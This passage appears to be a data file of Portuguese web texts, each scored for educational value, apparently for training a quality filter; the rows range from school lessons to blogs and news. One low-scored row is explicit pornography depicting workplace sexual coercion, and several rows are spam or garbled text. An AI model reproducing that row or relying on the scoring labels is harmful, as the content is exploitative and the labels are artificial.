permite diferentes abordagens. Experimente diferentes estratégias, converse com seus colegas e professores, e não tenha medo de errar. Afinal, o erro faz parte do aprendizado. Ao analisar seus erros, você pode identificar os pontos que precisam de mais atenção e aprimorar suas habilidades. + +Para finalizar, pense na resolução de problemas como um jogo desafiador e divertido. A cada problema resolvido, você estará desenvolvendo suas habilidades de raciocínio lógico, criatividade e persistência. E o melhor de tudo: estará se preparando para enfrentar os desafios da vida com mais confiança e segurança. Que tal começar agora mesmo a desvendar um novo enigma matemático?",Matemática,Resolução de problemas,anos finais (6º ao 9º ano),"O texto apresenta alto valor educacional, pois introduz a resolução de problemas matemáticos de forma envolvente, utilizando exemplos práticos do cotidiano. Estimula o raciocínio lógico, a criatividade e a organização, fornecendo dicas úteis para a abordagem de problemas. A linguagem é clara e acessível, tornando o conteúdo adequado para alunos do ensino fundamental, e a estrutura do texto facilita a compreensão e o aprendizado.",5,1.0 +"Edusp – USP – Universidade de São Paulo +Alunos de Letras exploram as novas possibilidades do mercado de trabalho +Disciplina criada neste ano na FFLCH apresenta aos estudantes a diversidade de atuação que a formação na área proporciona... +Clientes que comprarem R$ 200,00 em livros de arte da Edusp ganharão uma obra original. ... +O público que for à feira encontrará publicações com o mínimo de 60% de desconto.... +A enciclopédia possui caráter interdisciplinar e apresenta termos de diferentes áreas do conhecimento. ... +Corpo será sepultado hoje, 31 de março. ... +O Objetivo da pesquisa é realizar um programa que busque entender os hábitos de leitura do público universitário no meio digital. ...",original,original,original,original,3,0.6 +English: Mini Mbm is the name given to the graphics engine which offers basic and essential resources to develop 2D and 3D games or applications. In this first version it is possible to develop desktop (Windows) and Android (mobile). Português: Mini-Mbm é o nome dado ao motor gráfico no qual apresenta recursos básicos e essenciais para desenvolver jogos ou aplicativos 2D e 3D. Nesta primeira versão é possível o desenvolvimento para desktop (Windows) e Android (mobile). Simple LAN Monitor,original,original,original,original,2,0.4 +"FETRACONSPAR - FEDERAÇÃO DOS TRABALHADORES NAS INDÚSTRIAS DA CONSTRUÇÃO E DO MOBILIÁRIO DO ESTADO DO PARANÁ - Doença profissional e o ônus da prova do empregador +Doença profissional e o ônus da prova do empregador +O Tribunal Regional do Trabalho da 1ª Região enfrentou o tema do ônus processual sobre doenças advindas das atividades laborais, em processo de trabalhadora que desempenhou suas atividades em favor de determinada instituição financeira por 28 anos, e, em razão de suas funções com esforços repetitivos a levou a ser afastada em 1998 para recebimento de benefício previdenciário. +A doença profissional muitas vezes não é de compreensão dos trabalhadores, que acabam por praticarem atividades laborais de grande impacto a sua saúde, assim, fez-se necessária à sua conceituação por meio do artigo 20, I, da lei 8.213/91. +Com a legislação em vigor, firmou-se o entendimento de que são aquelas produzidas ou desencadeadas pelo exercício do trabalho peculiar a determinada atividade, deste modo, são todas as doenças advindas em razão da atividade praticada durante o trabalho, sem ligação as demais atividades praticadas fora do local de labor. +Diante disso, inúmeros processos na atualidade versam sobre as doenças advindas das atividades laborais, para que seja instituída a responsabilidade das empresas ante aos danos causados e custos para restabelecimento do trabalhador. +O Tribunal Regional do Trabalho da 1ª Região enfrentou o tema, em sua 2ª Turma, no processo de trabalhadora que desempenhou suas atividades em favor de determinada instituição financeira por 28 anos, e, em razão de suas funções com esforços repetitivos a levou a ser afastada em 1998 para recebimento de benefício previdenciário. +A trabalhadora demonstrou que diariamente fazia digitação contínua com manuseio de objetos pesados, além de efetuar tais atividades em pé, sem as observações de segurança a saúde, o que desencadeou diversas dificuldades e danos pela limitação de sua capacidade. +Em razão das consequências ocasionada pelas atividades laborais, a empregada se afastou algumas vezes da instituição financeira, a partir de 1998, sendo que o Comunicado de Acidente de Trabalho – CAT do ano citado foi emitido pelo próprio banco e a garantiu o benefício previdenciário B94 (pecúlio), no percentual de 50%, sendo reconhecido em ação judicial. +Posteriormente, a trabalhadora foi reabilitada, mas ainda precisou ser afastada mais duas vezes, além da citada, recebendo benefício previdenciário nas espécies B91 e B31. +Ademais, as provas testemunhais comprovaram as péssimas condições de trabalho a que os obreiros são submetidos, além de que, na justiça comum já há decisão transitada em julgado que reconhece a redução de sua capacidade laborativa da trabalhadora, pelo ambiente totalmente lesivo a saúde. +A instituição financeira, em sua defesa, alegou que não participou do processo administrativo que culminou na declaração e reconhecimento do INSS, sobre o nexo causal existente entre a doença e as atividades laborais, nem da ação judicial que demonstra a redução da capacidade laboral, diante disso, buscou a tese de que doença que afeta a empregada não era decorrente de suas atividades laborais. +Apesar das diversas alegações da trabalhadora e a farta documentação do INSS oriunda do processo administrativo, a sentença de 1ª instância rejeitou todos os pedidos formulados, sob o fundamento de que o laudo pericial concluiu que inexistia o nexo causal pleiteado. +Com isso, em sede de Recurso Ordinário argumentou a obreira que o laudo pericial destorceu a realidade, só levando em consideração os documentos apresentados pela instituição financeira, não podendo ser considerado como prova hábil a desconstituir o nexo causal existente. +Em contrapartida, nas contrarrazões, o banco rebateu o alegado, de forma semelhante ao que fora alegado na contestação, para que pudesse manter o laudo apresentado sem a aplicação do nexo causal do ambiente de trabalho aos danos existentes a saúde da Reclamante. +O...",original,original,original,original,3,0.6 +"com ele no local de trabalho. Em tempos de crise e com e empresa demitindo, essa novinha aceitou libera a bucetinha para seu chefe pra não perder o emprego. +Parece que ela gostou muito da rola do carinha e agora vai dar sua bucetinha toda ver que o seu chefe quiser.",original,original,original,original,0,0.0 +"Copyright 2022 - Prefeitura do Município de Interesse Turístico de Ubarana - Todos os direitos reservados. +Website Desenvolvido por: +Prefeitura do Município de Interesse Turístico de Ubarana - SP. +Usamos cookies para melhorar a sua navegação. Ao continuar você concorda com nossa Política de Cookies e Políticas de Privacidade. +Concordo +Dia de Natal +Natal ou Dia de Natal é um feriado e festival religioso cristão comemorado anualmente em 25 de dezembro (nos países eslavos e ortodoxos, cujos calendários eram baseados no calendário juliano, o Natal é comemorado no dia 7 de janeiro). A data é o centro das festas de fim de ano e da temporada de férias, sendo, no cristianismo, o marco inicial do Ciclo do Natal, que dura doze dias. +Originalmente destinada a celebrar o nascimento anual do Deus Sol no solstício de inverno (natalis invicti Solis), a festividade foi ressignificada pela Igreja Católica no século III para estimular a conversão dos povos pagãos sob o domínio do Império Romano e então passou a comemorar o nascimento de Jesus de Nazaré. +Embora tradicionalmente seja um dia santificado cristão, o Natal é amplamente comemorado por muitos não cristãos, sendo que alguns de seus costumes populares e temas comemorativos têm origens pré-cristãs ou seculares. Costumes populares modernos típicos do feriado incluem a troca de presentes e cartões, a Ceia de Natal, músicas natalinas, festas de igreja, uma refeição especial e a exibição de decorações diferentes; incluindo as árvores de Natal, pisca-piscas e guirlandas, visco, presépios e ilex. Além disso, o Papai Noel (conhecido como Pai Natal em Portugal) é uma figura mitológica popular em muitos países, associada com os presentes para crianças. +Como a troca de presentes e muitos outros aspectos da festa de Natal envolvem um aumento da atividade econômica entre cristãos e não cristãos, a festa tornou-se um acontecimento significativo e um período chave de vendas para os varejistas e para as empresas. O impacto econômico da comemoração é um fator que tem crescido de forma constante ao longo dos últimos séculos em muitas regiões do mundo.",original,original,original,original,3,0.6 +"O século XX tem início ainda com o Neoclassicismo, nas obras do Palácio de São Bento – actual Assembleia da República, o Romantismo, na construção da Quinta da Regaleira, ambos na sua fase final, a par do Ecletismo, das grandes edificações em ferro , mas já com sinais de uma arte nova confusa e das primeiras . A arquitectura do Ferro no Séc. Clica aqui para acederes às principais características da arquitetura românica. Se clicares aqui , acedes a um site sobre o arco: definiç. +Roma: o modelo urbano no império. +Roma era a capital de um vasto império e servia de paradigma para as restantes cidades. O urbanismo foi uma das principais . O seu contorno é constituído por uma. São ainda visíveis alguns elementos de suporte das coberturas ou alpendres das varandas com peças da arquitetura do ferro. Arte Nova com utilização do ferro fundido dourado na fachada. +Ourivesaria Cunha Rua de Janeiro, 200 . Surgindo como sistema construtivo nos finais do século XVIII, o ferro protagonizou em grande parte o desenvolvimento da arquitetura do século XIX e XX. +A nova sociedade – surgimento do operariado. A defesa dos direitos humanos. Projetada por Gustave Eiffel, em. Foi importante para a divulgação do uso do metal em . Contudo, a arquitetura do ferro apareceu por volta da metade do século XIX. +Espaço muito importante para promover a arte e os seus artistas. Tipologia: Arquitectura do Ferro. Arquitetura do ferro e arte nova em portugal Not renewed and uninhabited park lethargising their subtotals or contradistinguish mercilessly. Há em Aveiro uma casa que nos leva numa viagem pelo mundo da Arte Nova. Características de aplicação de ferro forjado em porta e bandeiras e varanda ____ 31. +Escultura e pintura, em. Portugal , finais do século XIX.",original,original,original,original,3,0.6 +"Rêtro Vintage Maggie: Cinema | Coco +Hello everyone! Na sugestão de cinema desta semana trago - vós um filme que já queria ter visto há imenso tempo ele é da Disney é como podem ter visto pelo título é Coco aconselho - vós vivamente haver este pois está muito bem conseguido e a mensagem é tão poderosa desde os cenários a junção de toda a produção do filme está soberbo. Este é um filme com emoção e cheio de energia e explora estes temas de uma maneira muito suave. +Este filme explora muito a cultura mexicana explicando o facto de o porquê do simbolismo de existir o dia dos mortos desmistificando assim o ritual que têm, desde as personagens e as suas vestes e todo aquele ambiente mexicano, o poder das cores e toda a aquela vibração com a junção das músicas mexicanas dão nós vontade de nos mexer. Nesta história temos um menino chamado Miguel que sonha e ambiciona em ser músico mas este seu sonho não é permitido na sua família, nem sequer podem escutar um ritmo de música este vai lutar contra tudo e todos para provar que o seu sonho não é impossível e que podemos acreditar nele apenas temos de acreditar em nós assim como também lhe vai explicar o significado da família. +Publicada por Magda Carvalho à(s) 16:10 +Quero muito ver este filme *.* +25 de janeiro de 2018 às 16:25 +Confesso que esse nunca assisti mas tenho de ver se o faço +25 de janeiro de 2018 às 17:02 +Helena Velez disse... +nunca o vi, mas fiquei motivada para! +Girly World ♥ | Último post | Instagram +25 de janeiro de 2018 às 17:20 +I've heard this is a fun movie. +Marisa Cavaleiro disse... +Isso devemos lutar sempre pos nossos sonhos é uma boa mensagem.. +25 de janeiro de 2018 às 23:27 +Quero ver com meu filho! Grata por partilhares! +25 de janeiro de 2018 às 23:30 +Rita C. disse... +Ainda não vi :) +25 de janeiro de 2018 às 23:51 +Sara Meireles disse... +Desde que vi o trailer que tenho curiosidade sobre este filme. Acho que agora vou ter mesmo que o ver. +https://blogsarameireles.blogspot.pt/ +26 de janeiro de 2018 às 00:35 +Eu estou curiosa para poder ver o filme, já ando para ver. +26 de janeiro de 2018 às 00:39 +Gil António disse... +Passando e lendo o que aqui se publica. +* Adejam pétalas ... como lábios se beijando * +Deixando votos de um dia feliz +26 de janeiro de 2018 às 01:15 +Bom dia. Visitando e deixando votos de um dia feliz +26 de janeiro de 2018 às 01:50 +é um filme tão amoroso :D +26 de janeiro de 2018 às 02:14 +Não vi, mas fiquei curiosa. +26 de janeiro de 2018 às 02:45 +Lory Beauty disse... +26 de janeiro de 2018 às 04:03 +Tomara! hehehe! ;) +Não assisti esse filme. Mas tenho sim curiosidade de ver! +26 de janeiro de 2018 às 04:47 +Parece ser um filme interessante. Gostei de ler! +26 de janeiro de 2018 às 07:13 +Looks like a fun film! +26 de janeiro de 2018 às 07:14 +Kleide Naira disse... +Não conhecia não amore. Obrigada pela sugestão. Xeruh +26 de janeiro de 2018 às 09:00 +Quero muito ver esse filme! +26 de janeiro de 2018 às 09:05 +Ainda não vi, mas mal surja oportunidade irei com a minha mais nova. +26 de janeiro de 2018 às 10:02 +Sibaritismos de Inma disse... +es interesante, aunque yo no creo que me anime +26 de janeiro de 2018 às 10:37 +Quero muito ver este filme, deve ser tão lindo! :) +26 de janeiro de 2018 às 10:47 +Cláudia Martins disse... +Ando para ver esse filme à uns dias!!! Tenho mesmo de ver!!! +26 de janeiro de 2018 às 10:54 +Geórgia~ disse... +Esse filme me interessou muito. Eu adoro os filmes da Disney, e adorei seu post. Vou procurar pra assisti-lo Sim ♡ +26 de janeiro de 2018 às 11:13 +Adoro filmes animados. +26 de janeiro de 2018 às 13:06 +Que fofo, quero ver! +26 de janeiro de 2018 às 15:18 +Ainda não vi mas quero muito ver. +26 de janeiro de 2018 às 15:35 +este filme parece tão fofo, tenho que ver! +beijinhos :) https://ratsonthemoon.blogspot.pt/ +26 de janeiro de 2018 às 15:59 +Não conhecia. Não costumo ver filmes de animação. +26 de janeiro de 2018 às 17:36 +Que filme maravilhoso! Não conhecia. +Ótima resenha e sugestão. +26 de janeiro de 2018 às 20:06 +Obrigado, querida :D +deve ser super giro :D +...",original,original,original,original,2,0.4 +"É verdade - prefiro a rádio, sobretudo nocturna. Porque a palavra e o significado reinam, ao abrigo das tropelias do olhar, sempre volúvel:). Não sei se calar a televisão foi um lapso freudiano, mas cálculo não, seguramente. Se um projecto me agradar, voltarei ao ecrã com prazer, mas confesso que câmaras, luzes e maquilhagem não me despertam tanto carinho como microfones, auscultadores e pernas em cima da mesa, moldura ideal para amena cavaqueira. +Publicada por Julio Machado Vaz à(s) 8:38 da tarde 76 comentários +segunda-feira, agosto 28, 2006 +À falta de barro e costelas:). +""Vou fazer-te existir na realidade da minha palavra. Da minha imaginação."" +Vergílio Ferreira, Para Sempre. +Publicada por Julio Machado Vaz à(s) 9:53 da tarde 78 comentários +domingo, agosto 27, 2006 +Esclarecimento. +Lamento, não fui claro:(. O vazio educacional de que falava era ao nível da educação (sexual). Sou 200% a favor da pílula do dia seguinte, mas não como método contraceptivo ""habitual"", ""normal"", ""inócuo"". Acresce que sou psiquiatra: preocupam-me os mecanismos de defesa que permitem a negação da responsabilidade erótica. Esta não compromete o romantismo, a espontaneidade, o desejo. Limita-se a assumi-los, carago!:). +Publicada por Julio Machado Vaz à(s) 3:42 da tarde 34 comentários +sábado, agosto 26, 2006 +Breve. +A evolução dos números referentes à utilização da pílula do dia seguinte é deprimente. Pelo que traduz de vazio educacional, de recusa em assumir o planeamento da vida erótica, de opção por uma via considerada mais fácil e sem consequências. Alguns preferirão apostrofar a decadência moral em vez de enfrentar o problema. É pena. E é perigoso... +Publicada por Julio Machado Vaz à(s) 8:52 da tarde 21 comentários +quinta-feira, agosto 24, 2006 +Que assim seja! +Investigação: Mais reacções positivas +A comunidade científica está satisfeita com a descoberta sobre a produção de células estaminais. +24/08/2006 +(12:53) De recordar que cientistas norte-americanos desenvolveram uma forma de produzir células estaminais sem destruir os embriões. +Para Raquel Almeida, investigadora do IPATIMUP - Instituto de Patologia e Imunologia Molecular da Universidade do Porto -, estes avanços poderão eventualmente fazer desaparecer os obstáculos à utilização de células, o que pode ajudar na pesquisa e tratamento de algumas doenças como Alzheimer, Parkinson ou problemas cardíacos. +""Vai permitir que a objecção à utilização linhas celulares de células estaminais, eventualmente, possa ser ultrapassada e se possa passar a fazer investigação em linhas celulares de células estaminais de forma mais fácil, mais pessoas possam utilizar linhas celulares de células estaminais"", disse. +Também Mário de Sousa, especialista em medicina da reprodução e que há anos investiga a cultura de tecidos, nomeadamente no Instituto de Ciências Biomédicas Abel Salazar (ICBAS), onde é docente, não hesita em classificar a descoberta como ""uma revolução"". +Já o geneticista Carolino Monteiro considerou que produzir células estaminais embrionárias sem destruir o embrião é uma ""descoberta importante"" porque escapa às questões éticas, dando mais um passo na direcção da terapêutica de doenças sem cura. +Publicada por Julio Machado Vaz à(s) 2:26 da tarde 44 comentários +quarta-feira, agosto 23, 2006 +Ainda Grass. +Os juízes de Günter Grass +Diogo Pires Aurélio +Professor universitário +Uma certa ""inteligência"" abateu-se, justiceira, sobre Günter Grass, no dia em que este, antecipando a sua autobiografia, confessou a um jornal ter pertencido, na adolescência, às Waffen SS, uma força de elite das tropas hitlerianas. O libelo acusatório tem vindo a crescer. Primeiro, foi o crime de haver integrado tais milícias. Segue-se o ter, durante toda a vida, mantido silêncio a esse respeito, coisa imperdoável em alguém que acusava o povo alemão de não se querer confrontar com o passado recente. Por fim, vem o ter aguardado que lhe dessem o Nobel para fazer a revelação da ignomínia: no entender dos novos cátaros, a obra jamais justi...",original,original,original,original,2,0.4 +"Linguagemjuridica Trabalhos Acadêmicos - Ajuda mwtrabalhosnasr.asbvme.us +Não há regra específica, nem obrigação mas na maioria das vezes, nas principais peças de cada processo, os advogados tendem a iniciar a sua exposição pela. Com o objetivo de discutir a importância do papel da linguagem jurídica no acesso à justiça, este estudo não intenciona hierarquizar os obstáculos ao. Sobre ricardonagy usp/puc-sp bacharel em direito puc-sp pós-graduando em direito civil pela epm-tjsp bacharel e licenciado letras inglês/português usp. Ditados populares em linguagem jurídica a fêmea ruminante deslocou-se para terreno sáfaro e alagadiço (a vaca foi para o. Fala sobre a diferença entre a linguagem jurídica e o juridiquês by giovana7lazzaretti. Definições, notícias, artigos, legislação, jurisprudência e muito mais sobre linguagem jurídica. +Dividido em três partes, o presente trabalho propicia uma visão global da linguagem jurídica, analisando exaustivamente todos os detalhes do tema. Definição de linguagem jurídica e sinónimos de linguagem jurídica (português), antónimos, rede semántica e tradutores para 37 línguas. O uso da vírgula a pontuação já foi definida de várias maneiras já se fizeram analogias com a costura (a pontuação seria a linha que dá consistência e. Muito se fala, no meio jurídico, de iniciativas para banir o “juridiquês” do dia-a-dia forense é exemplo, nesse sentido, a atual campanha da escola. Veja grátis o arquivo linguagem juridica enviado para a disciplina de português forense categoria: aulas - 2432750. Legal language resumo: este artigo traz à análise, uma reflexão sobre a linguagem, em sua origem remota, desde o tempo da grécia antiga, e ainda. +Significado de linguagem jurídica o que é linguagem jurídica: linguagem utilizada em ambiente jurídico. 1 a linguagem jurÍdica e a comunicaÇÃo entre o advogado e seu cliente na atualidade¹ suzana minuzzi reolon resumo o presente trabalho foi idealizado em função. Encontre linguagem juridica com ótimos preços e condições na saraiva temos linguagem jurídica e argumentação - teoria e prática - 5ª ed 2017, lições de. +Compre linguagem juridica, de eduardo c b bittar, no maior acervo de livros do brasil as mais variadas edições, novas, seminovas e usadas pelo melhor preço. Manual de linguagem jurídico-judiciária – 17 – antiguidade – o u pode ser pronunciado ou mudo – antimaluf, antimalufi sta. Com o uso da linguagem se fundamentam todas as decisões, razão pela qual os profissionais do di- relação jurídica ou à declaração da au. +“faz dois séculos - disse settembrini - vivia no país dos senhores um velho poeta, um excelente conservador, que atribuía suma importância à beleza da. Encontre linguagem juridica - livros no mercado livre brasil descubra a melhor forma de comprar online. Vamos abordar neste módulo o uso da linguagem jurídica, ferramenta essencial na vida dos operadores do direito. Posts sobre linguagem jurídica escritos por ricardo feitosa vasconcelos. Ter conhecimento da formação histórica da linguagem jurídica em inglês e do sistema da common law é essencial na tradução de textos jurídicos para. +Posts about linguagem jurídica written by fabioschlickmann no quadro juridiquês, você vai rever uma expressão usada no direito que tem o significado muito. O presente artigo propõe a simplificação da linguagem jurídica, busca mostrar a importância de uma linguagem de fácil acesso e entendimento para todos, sendo. Gisele salgado pós-doutora em direito na fd-usp, doutora em filosofia do direito, mestre em filosofia do direito pela puc-sp, especialista em direito do trabalho.",original,original,original,original,2,0.4 +"Toda a boa prática será castigada – 4 +Como não poderia deixar de ser eu também pratiquei e dela me fiz valer como especialista e mágico. Sim mais uma das sensacionais práticas a adentrar as portas do mundo corporativo e ser adotada em grande estilo vem a ser a metodologia. É claro que se temos um composto de procedimentos, com passos claros e se podemos categorizar, hierarquizar e estabelecer cronologia – certamente pode ser empacotado em um método. E era assim que eu justificava cursos, programas e (pasmem!) metodologias a serem implantadas – e sabe onde? Em sua empresa, dileto leitor! +Apesar de feito até recentemente, em boa fé – diga-se de passagem – no fundo estávamos todos: os professores, consultores, estudiosos, estrategistas e especialistas, levando a empresa mais depressa para sua paralisia e esquizofrenia. Sim a empresa moderna que recebe uma metodologia e dela faz uso se desliga por completo da realidade que a cerca, enfatiza o processo acima do resultado, valoriza o sistema ao invés dos componentes humanos, e se perde focando nas experiência passadas. +E mais do que nunca – é preferível preparar o indivíduo ou a equipe – para atender com alma, do que descrever comportamentos a serem incorporados como se fossem um segundo espírito. Há longo que nos explicaram que cada um é cada um! +O improviso ganha destaque incálculavel se revestido de autenticidade e genuíno interesse por servir e fazer direito. A maestria no seu ramo, no seu métier, na sua profissão, vale muito mais do que mil manuais de métodos e procedimentos.Ser fluente no conjunto de atividades que compõem uma rotina abrangente é infinitamente mais eficaz que a síntese de todos os registros de ações recomendadas. +O grande problema aí – e os teóricos da administração até hoje ainda não rechaçaram de vez com essa analogia, é que não somos burros nem cavalos – somos pessoas. E pessoas tem uma complexidade um pouco superior a desses animais. +Hoje temos à disposição farta literatura que nos alerta para abandonarmos esse tipo de prática nefasta que permeia a maioria de nossas organizações. Também como uma panacéia a criação de campanhas de incentivo são no fundo um tiro no pé. Não aprofundam o compromisso, reiteram atitudes superficiais, acostumam mal os integrantes da equipe, e geram um cuidado extra e desviante para o processo em si do que para o fim a que se propõe. Ao final, muita espuma e pouco chope. E quem paga o pato (ou as cenouras) é a empresa e sua liderança voltada para o passado. +Esta é mais uma ‘boa prática’ a nos punir.",original,original,original,original,0,0.0 +"Funko Pop: Novas Versões do Batman para comemorar os seus 80 anos — Pausa para Nerdices +Brinquedo — Clay Oliveira — Novidade +O Batman completou 80 anos, da sua estreia nos quadrinhos, no dia 30 de março. Nosso herói apareceu pela primeira vez na Detective Comics em 1939. E para comemorar o aniversario do Cavaleiro das Trevas, a linha Pop da Funko irá lançar duas versões para os fãs. Teremos um Conde Drácula para proteger Gotham City e também uma versão do Batman Forever 1995 (pronto para enfrentar o Two-Face e o Riddler) +Vai querer esses colecionáveis na sua estante? +Mais do Batman +Batman é um super-herói da DC Comics. Foi criado pelo escritor Bill Finger e pelo artista Bob Kane, e apareceu pela primeira vez na revista Detective Comics #27 (A capa foi assinada para Maio de 1939). Originalmente com o nome “o Bat-Man”, o personagem também é conhecido pelos nomes “o Cruzado de Capa” (The Caped Crusader), “o Cavaleiro das Trevas” (The Dark Knight), e “o Maior Detective do Mundo” ( The World’s Greatest Detective). +A identidade secreta de Batman é Bruce Wayne, um bilionário americano, playboy, magnata de negócios, filantropo e dono da corporação Wayne Enterprises. Depois de testemunhar o assassinato dos seus pais enquanto criança, Wayne jurou vingança contra os criminosos, um juramento moderado por um sentido de justiça. Wayne treina então a si próprio, tanto física como intelectualmente, e cria uma persona inspirada no morcego para combater o crime. Batman opera na cidade de Gotham City, e é ajudado por outros personagens incluindo o seu mordomo Alfred Pennyworth, o comissário da policia Jim Gordon, e outros aliados vigilantes como Robin. Ao contrário da maior parte dos super-heróis, Batman não tem superpoderes; faz uso do seu intelecto de gênio, da sua perícia em artes marciais, da sua destreza física, das habilidades de detective, da ciência e da tecnologia, da sua riqueza, da sua provocação ao medo e intimidação e uma vontade indomável na sua guerra contínua contra o crime. Uma grande variedade de vilões compõem a galeria de inimigos do Batman, incluindo seu arqui-inimigo Coringa. (fonte) +Clayci Oliveira 63 +Leia mais sobre Batmancolecionáveisdc comicsFunko Pop +Harry Potter e o Cálice de Fogo edição ilustrada ganha prévia em vídeo!",original,original,original,original,3,0.6 +"Na Câmara, Cardozo diz que impeachment por ‘pedaladas’ é golpe - Brasil 247 +Na Câmara, Cardozo diz que impeachment por ‘pedaladas’ é golpe +""Meras operações contábeis aceitas por todos os governos serem utilizadas como motivo de impeachment é golpe. É golpe!"", discursou o advogado-geral da União em sessão na Câmara que discute o processo de impeachment da presidente Dilma Rousseff; ministro também disse que o processo é um ""golpe"" e ""uma subtração ao direito ao voto das pessoas""; segundo ele, ""se o parlamento aprovar o impeachment, o povo terá sido colocado na periferia. A história colocará as pessoas no seu devido lugar"" edit +15 de abril de 2016, 13:01 h Atualizado em 2 de julho de 2018, 10:20 +""Meras operações contábeis aceitas por todos os governos serem utilizadas como motivo de impeachment é golpe. É golpe!"", discursou o advogado-geral da União em sessão na Câmara que discute o processo de impeachment da presidente Dilma Rousseff; ministro também disse que o processo é um ""golpe"" e ""uma subtração ao direito ao voto das pessoas""; segundo ele, ""se o parlamento aprovar o impeachment, o povo terá sido colocado na periferia. A história colocará as pessoas no seu devido lugar"" (Foto: Gisele Federicce) +247 – Em defesa da presidente Dilma Rousseff, o advogado-geral da União, José Eduardo Cardozo, declarou em sessão da Câmara dos Deputados na manhã desta sexta-feira 15 que o processo de impeachment é um ""golpe"" e ""uma subtração ao direito ao voto das pessoas"". +""Só em casos de atentado a Constituição que o presidente pode ser afastado. E isso não ocorre com a presidente Dilma Rousseff"", afirmou Cardozo aos deputados. A AGU entrou ontem com uma ação junto ao STF questionando pontos regimentais do processo, mas a peça não foi acatada pela corte. +O chefe da AGU voltou a sustentar, na Câmara, que as chamadas 'pedaladas fiscais', práticas contábeis das quais Dilma é acusada de ter cometido crime de responsabilidade fiscal, também foram feitas por governos anteriores no âmbito federal e por diversos governadores. ""Meras operações contábeis aceitas por todos os governos serem utilizadas como motivo de impeachment é golpe. É golpe!"", discursou. +A sessão no plenário na Câmara que vai discutir o parecer do deputado Jovair Arantes (PTB-GO) favorável à abertura de processo de impeachment foi aberta pelo deputado Izalci (PSDB-DF). +Primeiramente, os juristas Hélio Bicudo, Miguel Reale Jr. e Janaína Paschoal, que assinaram o pedido de impeachment, tiveram um prazo comum de 25 minutos para expor os seus argumentos. Em seguida, a defesa de Dilma teve 25 minutos de exposição. Após a defesa, poderão se pronunciar líderes de partidos representados na Câmara, seguindo a ordem da maior para a menor bancada. +Karine Melo e Carolina Gonçalves, repórteres da Agência Brasil - O ministro da Advocacia-Geral da União (AGU), José Eduardo Cardozo, iniciou a defesa da presidenta Dilma Rousseff nesta sexta-feira (15), na Câmara dos Deputados, lembrando que os tempos são outros, mas a Constituição é a mesma. Ele considerou que o processo é nulo e, se aprovado, o impeachment será uma ruptura constitucional. Cardozo também voltou a desqualificar o relatório do deputado Jovair Arantes (PTB-GO) que, para ele, ""não sobrevive a uma simples análise, a uma simples leitura."" +A rivalidade política entre o presidente da Câmara, Eduardo Cunha, e a presidenta Dilma Rousseff motivou a abertura do processo de impeachment e Cardozo ressaltou que ter sido uma retaliação ao fato de o governo não ter dado a Cunha votos necessários para barrar o processo contra Cunha no Conselho de Ética e Decoro Parlamentar. ""Se o parlamento aprovar o impeachment, o povo terá sido colocado na periferia. A história colocará as pessoas no seu devido lugar"", disse. +O advogado-geral da União afirmou, ainda, que o Brasil não adota o parlamentarismo, onde governos podem cair após uma moção de censura e é um sistema muito diferente do presidencialismo. ""No presidencialismo, o chefe de governo é chefe de estado...",original,original,original,original,2,0.4 +"Olá, pequenos historiadores! Já pararam para pensar que vocês fazem parte de uma história muito maior? Essa história começa com a sua família, se estende pela sua comunidade e se conecta com o mundo todo! + +A família é como uma árvore: tem raízes fortes que vêm do passado, um tronco que representa o presente e muitos galhos que se estendem para o futuro. Cada membro da sua família, sejam seus pais, avós, irmãos, tios ou primos, tem uma história para contar. Que tal sentar com eles e ouvir essas histórias? Pergunte sobre como era a vida deles quando eram crianças, quais eram seus brinquedos favoritos, quais eram seus sonhos. Vocês vão descobrir coisas incríveis e aprender muito sobre o passado! + +E a comunidade? A comunidade é como um grande jardim onde cada flor é diferente, mas todas contribuem para a beleza do conjunto. A escola, os vizinhos, o clube, a igreja, o parque... todos esses lugares e pessoas fazem parte da sua comunidade. E cada um deles também tem uma história para contar! Converse com o padeiro da sua rua, com a bibliotecária da escola, com o guarda da praça. Eles podem te ensinar muito sobre o lugar onde você vive e sobre as pessoas que fazem parte dele. + +Sua família e sua comunidade são como um livro gigante, cheio de páginas coloridas e personagens interessantes. Ao conhecer as histórias dessas pessoas e desses lugares, você está aprendendo sobre o passado, compreendendo o presente e construindo o futuro. E você também faz parte dessa história! Cada coisa que você faz, cada escolha que você toma, contribui para a história da sua família, da sua comunidade e do mundo. + +Que tal começar a escrever a sua própria página nesse livro? Desenhe sua família, escreva sobre seus amigos, conte sobre as coisas que você gosta de fazer na sua comunidade. Você vai ver como a sua história é importante e como ela se conecta com a história de todos nós! Pense também: Como você pode ajudar a sua comunidade a ser um lugar ainda melhor? Quais pequenas ações você pode tomar para fazer a diferença na vida das pessoas ao seu redor? + +Lembrem-se: cada um de nós é um pedacinho da história, e juntos construímos um futuro ainda mais incrível!",História,Família e comunidade,anos iniciais (1º ao 5º ano),"O trecho é altamente relevante para o ensino fundamental, utilizando uma linguagem acessível e envolvente para introduzir conceitos de história, família e comunidade. Estimula a interação com familiares e membros da comunidade, incentivando a pesquisa e a valorização das histórias individuais. Apresenta uma estrutura clara e organizada, promovendo o aprendizado através da narrativa e da reflexão, com atividades práticas propostas. O texto é adequado para diversas faixas etárias dentro do ensino fundamental.",5,1.0 +"Já parou para pensar em como as formas geométricas estão presentes em tudo ao nosso redor? Desde a tela do seu celular até a arquitetura dos prédios, a geometria é a base de muita coisa que vemos e usamos no dia a dia. Mas, afinal, o que é geometria e por que ela é tão importante? + +A palavra ""geometria"" vem do grego e significa ""medida da terra"". Antigamente, era usada principalmente para medir terrenos e construir edifícios. Hoje, a geometria é muito mais do que isso! Ela é o estudo das formas, tamanhos, posições e propriedades dos objetos no espaço. Compreender a geometria nos ajuda a resolver problemas práticos e a desenvolver o raciocínio lógico. + +Imagine que você precisa calcular a quantidade de tinta necessária para pintar uma parede do seu quarto. Para isso, você precisa saber a área da parede, que é uma medida geométrica. Ou, imagine que você está montando um móvel novo e precisa seguir um manual com desenhos e medidas. A geometria te ajuda a entender as instruções e a montar o móvel corretamente. + +Existem diferentes tipos de formas geométricas. As formas planas, como quadrados, círculos e triângulos, são bidimensionais, ou seja, têm apenas duas dimensões: comprimento e largura. Já as formas espaciais, como cubos, esferas e pirâmides, são tridimensionais, pois têm três dimensões: comprimento, largura e altura. Cada uma dessas formas tem suas próprias características e propriedades. Por exemplo, um quadrado tem quatro lados iguais e quatro ângulos retos, enquanto um círculo é uma figura redonda que não tem lados nem ângulos. + +Ao explorar as formas geométricas, podemos descobrir padrões e relações interessantes. Por exemplo, você sabia que a soma dos ângulos internos de qualquer triângulo é sempre igual a 180 graus? Ou que a área de um círculo pode ser calculada usando a fórmula πr², onde π (pi) é um número mágico que vale 